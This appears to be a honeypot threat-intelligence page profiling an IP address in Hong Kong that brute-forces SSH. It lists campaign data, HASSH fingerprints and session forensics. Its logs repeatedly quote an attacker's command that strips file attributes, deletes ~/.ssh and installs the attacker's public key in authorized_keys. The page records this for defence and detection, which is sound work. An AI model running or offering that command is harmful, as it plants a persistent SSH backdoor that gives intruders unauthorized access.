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Location
🇭🇰 HK / Hong Kong
ASN
AS135377 · UCLOUD INFORMATION TECHNOLOGY HK LIMITED
Cloud Provider
—
Total Events
387
Top 10% by volume
Agent Count
1
First / Last Seen
2026-04-24 02:06 — 2026-04-24 03:00
Attack Types
MITRE ATT&CK Techniques
Reconnaissance
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
HASSH 03a80b21afa8… — SSH-2.0-libssh_0.11.1 (507 IPs, 64 countries)
HASSH
Active
high
🇨🇳 CN
507 IPs
186074 events
ssh:bruteforce
2026-02-27 — ongoing · 507 IPs are running an identical SSH client (HASSH fingerprint 03a80b21afa8…). Top network: China Telecom Group (AS4811). Geographic …
AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED
ASN
Active
medium
🇭🇰 HK
27 IPs
7107 events
ftp:bruteforcehttp:scanmysql:bruteforcessh:bruteforce
2026-02-18 — ongoing · 27 IPs from the same network (UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS135377) were active during overlapping time periods. …
Session Forensics
Sessions
55 (28 with login)
Avg Depth Score
0.48
Commands Executed
42
Files Downloaded
14
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
SSH Client
Evidence Timeline
Malware Dropper
c4b7b9602297
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
1fe51def3aad
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
b513d7b8af7d
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
4dd7daf756cf
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
344da16de8a7
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
ebe4cda16fda
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
1127faccef0b
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
db270d68d4a0
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
81493c4861ae
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
c66cd719c510
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
adf96d482a38
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
a35f73da17ad
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
c4e5625e9c06
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
bfb5ad5fcfc9
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
fb0216aa9212
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
222314039f22
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
f2fba77fd193
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
f620c6210298
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
10377fccbec8
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
c6f66f037ce1
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Opportunistic Bruter
4858f1d39202
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
6ce613bbfac1
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
283aedd2d902
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
Malware Dropper
fb765496f98c
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Malware Dropper
bed9b3241080
LOGIN
3
1
1
100%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Opportunistic Bruter
2e76945da1ee
LOGIN
1
50%
Loading events...
HASSH 03a80b21afa8106…
SSH-2.0-libssh_0.11.1